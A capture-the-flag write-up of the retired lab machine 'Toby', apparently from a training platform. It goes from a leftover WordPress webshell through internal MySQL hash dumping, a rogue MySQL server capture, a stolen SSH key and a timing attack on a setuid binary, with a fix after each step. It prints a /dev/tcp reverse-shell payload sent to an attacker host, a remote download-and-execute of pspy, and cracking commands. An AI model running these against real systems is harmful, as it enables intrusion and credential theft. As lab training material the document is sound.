Toby
Summary
I scanned the target and identified a WordPress blog on the virtual host wordpress.toby.htb that retained a PHP webshell left over from a prior breach. Interacting with the backdoor produced code execution as www-data inside a Docker container. Sweeping the internal 172.x network from that container exposed an unauthenticated MySQL service whose password hashes were dumped and cracked offline; the recovered passwords were tested for reuse across exposed SSH services.
Source code recovered from an internal web application revealed that its MySQL client accepted a caller-supplied server address with no TLS certificate validation, allowing me to redirect the connection to a rogue MySQL server, capture the client authentication hash, and crack it offline to recover a service-account password that opened an SSH session on port 10022. From the resulting container shell, pspy process monitoring caught a cron job that periodically wrote user jack's private SSH key to a world-readable temporary file; the key was stolen and used to authenticate directly to the outer host as jack. Finally, a setuid-root binary compared a hardcoded password character by character and exited immediately on the first mismatch, producing a measurable per-character timing difference.
A timing brute-force script recovered the full root password one position at a time; providing it to su delivered full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_PREFIX="<the-first-three-octets-of-that-network>"
export PASSWORD="<the-password-you-recovered, for jack>"Some commands also carry a value in angle brackets (<backdoor_path>, <cracked_user>, <internal_endpoint>, <mysql_ip>, <suid_checker>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Service-version scan of the four open ports.
$ nmap -Pn -sV -p 22,80,10022,10080 $TARGETRegister the discovered virtual host for local resolution.
$ echo "$TARGET toby.htb wordpress.toby.htb" | sudo tee -a /etc/hostsConfirm the WordPress install and inspect server response headers.
$ curl -sI http://wordpress.toby.htb/Exact commands 3
Enumerate plugins, themes, users, and media files for attack surface.
$ wpscan --url http://wordpress.toby.htb --enumerate p,t,u,m --plugins-detection aggressiveCheck for directory listing in the uploads folder.
$ curl -s 'http://wordpress.toby.htb/wp-content/uploads/' -A 'Mozilla/5.0'Probe the discovered PHP file; replace <backdoor_path> with the actual filename found during enumeration.
$ curl -s 'http://wordpress.toby.htb/wp-content/<backdoor_path>.php?cmd=id'FixAudit wp-content for leftover webshells and block PHP execution in upload directoriesCritical
Exact commands 3
Start the local listener before sending the payload.
$ nc -lvnp 4444Deliver the reverse-shell payload; replace $ATTACKER_IP and <backdoor_path>.
$ curl -s 'http://wordpress.toby.htb/wp-content/<backdoor_path>.php' --get --data-urlencode "cmd=bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"From the foothold shell, confirm www-data identity and map the internal Docker network.
$ id; hostname; ip a; cat /etc/hosts
uid=33(www-data) gid=33(www-data) groups=33(www-data)Exact commands 4
Ping-sweep the internal /24 for live hosts; $INTERNAL_PREFIX is the first three octets the container's own ip a prints.
$ for h in $(seq 1 254); do (ping -c1 -W1 $INTERNAL_PREFIX.$h &>/dev/null && echo "alive: $INTERNAL_PREFIX.$h") & done; waitDump password hashes from the mysql.user table; adjust IP and credentials if required.
$ mysql -h $INTERNAL_PREFIX.<mysql_ip> -u root --password='' -e 'SELECT user, authentication_string FROM mysql.user;'Crack MySQL 4.1+/5.x hashes (mode 300); switch to mode 11200 for challenge-response captures.
$ hashcat -m 300 mysql_hashes.txt /usr/share/wordlists/rockyou.txt --forceTest recovered credentials against the second SSH service on the outer host.
$ ssh -p 10022 <cracked_user>@$TARGETFixIsolate the MySQL container on a dedicated backend network with enforced authenticationHigh
Exact commands 4
Stand up the rogue MySQL server on my machine to capture client auth packets.
$ git clone https://github.com/allyshka/Rogue-MySql-Server.git && cd Rogue-MySql-Server && python rogue_mysql_server.py --port 3306Trigger the internal web application to connect to the rogue server; replace endpoint and $ATTACKER_IP based on recovered source code.
$ curl -s -X POST 'http://wordpress.toby.htb/<internal_endpoint>' --data "db_host=$ATTACKER_IP"Crack the captured MySQL native-password challenge-response hash (mode 11200).
$ hashcat -m 11200 captured_hash.txt /usr/share/wordlists/rockyou.txt --forceAuthenticate to the internal SSH service with the recovered plaintext password.
$ ssh -p 10022 <cracked_user>@$TARGETFixHard-code the database server address and require TLS certificate verification on all MySQL connectionsHigh
Exact commands 3
Upload pspy64 and run it to watch all process events without root privileges; replace $ATTACKER_IP.
$ wget http://$ATTACKER_IP:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64After pspy shows the cron job has executed, read jack's private key from the observed temporary path.
$ cat /tmp/jack_host_idAuthenticate to the outer host as user jack using the stolen private key.
$ ssh -i /tmp/jack_host_id -o StrictHostKeyChecking=no jack@$TARGETFixRemove cron jobs that write private SSH keys to world-readable temporary pathsHigh
Exact commands 3
From jack's shell, enumerate all SUID binaries to locate the custom privileged checker.
$ find / -perm -4000 -type f 2>/dev/nullRun a timing brute-force script that iterates each character position across all printable ASCII candidates, measures response latency with time.perf_counter(), and keeps the character producing the longest delay. Accumulate until response time stops growing. Replace the binary path with the SUID file found above.
$ python3 timing_brute.py /path/to/<suid_checker>$ printf "$PASSWORD\n" | ssh -tt -i /tmp/jack_host_id -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jack@$TARGET 'su -c "id; cat /root/root.txt"'
uid=0(root)FixReplace the privileged binary's sequential password comparison with a constant-time functionHigh
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 10022/tcp | ssh OpenSSH 8.1 (protocol 2.0) |
| 10080/tcp | amanda? |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.